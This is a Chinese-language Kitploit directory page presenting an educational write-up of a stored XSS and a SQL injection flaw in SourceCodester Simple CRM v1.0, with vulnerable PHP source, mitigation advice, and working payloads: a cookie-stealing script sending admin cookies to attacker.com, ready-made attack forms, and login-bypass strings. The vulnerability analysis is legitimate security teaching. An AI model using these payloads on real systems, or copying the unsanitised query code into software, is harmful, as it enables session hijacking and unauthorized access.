Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-24203-and-CVE-2023-24204 — 针对 SourceCodester CRM 中 CVE-2023-24203(存储型 XSS)和 CVE-2023-24204(SQL 注入)的教育性分析,包含利用步骤与缓解策略。 | Kitploit
工具/GitHubGitHub/momo1239/cve-2023-24203-and-cve-2023-24204
漏洞分析漏洞利用Web应用程序漏洞利用Web安全论文与研究学习与教育
GitHubmomo1239/cve-2023-24203-and-cve-2023-24204

CVE-2023-24203-and-CVE-2023-24204

针对 SourceCodester CRM 中 CVE-2023-24203(存储型 XSS)和 CVE-2023-24204(SQL 注入)的教育性分析,包含利用步骤与缓解策略。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
2年前尚未审核

CVE-2023-24203 和 CVE-2023-24204

介绍

在不断发展的网络安全领域中,Web应用程序仍然是攻击者试图利用漏洞的主要目标。近期,在SourceCodester Simple Customer Relationship Management (CRM) System v1.0中发现了两个关键漏洞:CVE-2023-24203和CVE-2023-24204。这些漏洞涉及跨站脚本(XSS)和SQL注入,带来了包括任意代码执行和未授权访问在内的重大风险。理解这些漏洞及其影响对于开发人员和安全专业人员保护系统免受潜在威胁至关重要。

跨站脚本(XSS)

跨站脚本(XSS)是一种漏洞类型,当Web应用程序允许用户向其他用户查看的网页中注入恶意脚本时发生。这可能导致代表用户执行未经授权的操作、数据窃取以及进一步的利用。XSS漏洞可分为三种主要类型:

  1. 存储型XSS: 恶意脚本永久存储在目标服务器上,例如数据库、留言板或评论字段中。
  2. 反射型XSS: 恶意脚本从Web服务器反射回来,例如在错误消息、搜索结果或任何包含部分或全部用户输入的响应中。
  3. 基于DOM的XSS: 漏洞存在于客户端代码而非服务器端代码中。

SQL注入

SQL注入是一种漏洞类型,当攻击者能够通过向查询中注入任意SQL代码来操纵SQL查询时发生。这可能导致未经授权的访问、数据窃取和其他恶意活动。SQL注入通常由于输入验证不足和缺乏参数化查询而发生。SQL注入的主要影响包括:

  1. 未授权访问: 攻击者可以绕过身份验证机制,获得对系统的未授权访问。
  2. 数据窃取: 攻击者可以从数据库中窃取敏感信息。
  3. 数据操纵: 攻击者可以修改、插入或删除数据库中的数据。

在这篇博文中,我们将深入探讨CVE-2023-24203和CVE-2023-24204,分析这些漏洞的具体细节、攻击向量、影响以及缓解策略。深入了解这些漏洞对于保护您的应用程序和数据免受潜在 exploits 至关重要。

Web应用程序中SQL注入的常见原因

SQL注入漏洞通常是输入验证不足和不良编码实践的结果。一些常见原因包括:

  1. 缺乏参数化查询: 不使用参数化查询允许攻击者向查询字符串中注入恶意SQL代码。
  2. 输入验证不足: 未正确验证用户输入可能导致执行意外的SQL命令。
  3. 动态SQL查询: 通过直接连接用户输入字符串来构建SQL查询会创建可利用的漏洞。
  4. 用户输入转义不足: 未正确转义用户输入中的特殊字符可能导致SQL注入攻击。
  5. 遗留代码: 较旧的代码库可能不遵循现代安全实践,使其更容易受到SQL注入的影响。

Web应用程序中XSS的常见原因

跨站脚本(XSS)漏洞通常是由于未能正确处理用户输入和输出引起的。常见原因包括:

  1. 不正确的输出编码: 在将用户输入显示到网页之前未进行编码可能导致恶意脚本的注入。
  2. 输入验证不足: 未验证或清理用户输入可能导致执行注入的脚本。
  3. 反射用户输入: 在响应中直接反射用户输入而不进行适当的验证或编码可能导致反射型XSS。
  4. 存储用户输入: 存储用户输入而未进行适当的清理可能导致存储型XSS攻击。
  5. DOM操作: 基于用户输入对文档对象模型(DOM)的不安全操作可能导致基于DOM的XSS。

CVE-2023-24203:发现一个存储型XSS!

漏洞摘要

CVE-2023-24203是SourceCodester Simple Customer Relationship Management (CRM) System v1.0中get-quote.php组件的一个存储型跨站脚本(XSS)漏洞。此漏洞允许攻击者向company和query参数中注入恶意脚本,这些脚本被存储在数据库中,并在管理员查看时执行,从而导致任意代码执行。

漏洞详情

该漏洞位于处理报价请求表单用户输入的get-quote.php脚本中。PHP源代码如下所示:

root@kitploit:~
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

该脚本从表单中获取用户输入(name、email、contact、company、services、other、query)并直接将其嵌入到SQL查询中以将数据存储到数据库中。虽然services输入使用mysqli_real_escape_string和addslashes进行了清理,但company和query参数在回显到响应时并未被正确清理或编码。这种缺乏适当清理和编码的做法允许恶意脚本被注入并存储到数据库中。

利用

要利用此漏洞,攻击者可以构造一个包含恶意JavaScript代码的有效载荷,并将其放入company或query参数中。当管理员查看报价请求时,注入的脚本将在其浏览器中执行。

示例利用有效载荷

通过在query参数中提交以下有效载荷:

root@kitploit:~
<script>alert('XSS');</script>

攻击者可以在管理员查看报价请求时触发XSS攻击。

窃取管理员Cookie

可以构造更有危害的有效载荷来窃取管理员会话Cookie。通过在query参数中使用以下有效载荷:

root@kitploit:~
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>

攻击者可以将管理员的Cookie发送到由攻击者控制的远程服务器。

利用步骤

  1. 提交恶意报价请求:攻击者填写报价请求表单,将恶意有效载荷注入到company或query字段。
root@kitploit:~
<form method="post" action="get-quote.php">
    <input type="text" name="company" value="CompanyX"><br>
    <input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
    <input type="submit" name="submit" value="Submit">
</form>
  1. 管理员查看请求:当管理员登录CRM系统并查看提交的报价时,恶意脚本在其浏览器中执行,从而将其会话Cookie发送给攻击者的服务器。

影响

成功利用此存储型XSS漏洞允许攻击者在管理员浏览器上下文中执行任意JavaScript。这可能导致各种恶意行为,包括:

  • 窃取会话Cookie
  • 劫持用户会话
  • 代表管理员执行未经授权的操作
  • 将管理员重定向到恶意网站

缓解措施

为了缓解此漏洞,必须对所有用户输入进行清理和编码,然后再将其合并到网页中。具体来说:

  • 清理输入: 使用诸如htmlspecialchars()之类的函数对用户输入中的特殊字符进行编码。
  • 验证输入: 实施严格的输入验证,确保只接受预期的数据。
  • 内容安全策略(CSP): 使用CSP标头限制可加载和执行脚本的来源。

CVE-2023-24204:发现一个SQL注入和身份验证绕过!

CVE-2023-24204是SourceCodester Simple Customer Relationship Management (CRM) System v1.0中get-quote.php和login.php组件的一个SQL注入漏洞。此漏洞允许攻击者向数据库注入任意SQL命令,可能导致未经授权的访问和数据操纵。

漏洞详情

SQL注入漏洞存在于get-quote.php和admin/login.php两个脚本中。以下是对这些漏洞如何出现以及如何被利用的分析。

get-quote.php

get-quote.php脚本处理来自报价请求表单的用户输入。源代码如下所示:

root@kitploit:~
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

我们还看一下login.php源代码逻辑。

root@kitploit:~
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL)); 
$city = $addrDetailsArr['geoplugin_city']; 
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");

$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";

echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>

漏洞分析

get-quote.php脚本没有对name参数进行充分的清理。攻击者可以使用Burp Suite等工具拦截请求,修改name参数,并注入恶意SQL命令。

login.php脚本由于对email和password字段缺乏适当的输入验证,存在身份验证绕过漏洞。攻击者可以使用诸如hack' or 1=1;#这样的有效载荷绕过身份验证并获得访问权限。

利用

  1. 利用get-quote.php

    • 拦截请求:使用Burp Suite等代理工具拦截表单提交请求。
    • 修改name参数:向name参数中注入恶意SQL命令。例如:
      root@kitploit:~
      ' OR '1'='1';--
      
    • 提交修改后的请求:将修改后的请求发送到服务器。注入的SQL命令将由数据库执行。
  2. 利用login.php

    • 导航到登录页面:转到login.php页面。
    • 输入恶意有效载荷:在email字段中使用诸如hack' or 1=1;#的有效载荷,在password字段中使用任意字符串。
      root@kitploit:~
      <form method="post" action="login.php">
          <input type="text" name="email" value="hack' or 1=1;#"><br>
          <input type="password" name="password" value="password"><br>
          <input type="submit" name="login" value="Login">
      </form>
      
    • 绕过身份验证:提交表单。该有效载荷绕过身份验证,授予对账户的访问权限。

影响

成功利用这些SQL注入漏洞可能导致各种恶意行为,包括:

  • 未授权访问: 攻击者可以获得对系统的管理访问权限。
  • 数据窃取: 攻击者可以从数据库中窃取敏感信息。
  • 数据操纵: 攻击者可以修改、插入或删除数据库中的数据。

缓解措施

为了缓解这些漏洞,必须实施适当的输入验证并使用参数化查询。具体来说:

  • 使用预处理语句: 实施参数化查询以防止SQL注入。
  • 验证输入: 应用严格的输入验证,确保只接受预期的数据。
  • 转义输入: 在SQL查询中使用用户输入之前,正确转义所有用户输入。

通过遵循这些最佳实践,您可以显著降低SQL注入攻击的风险,并保护您的Web应用程序免受潜在利用。

下载工具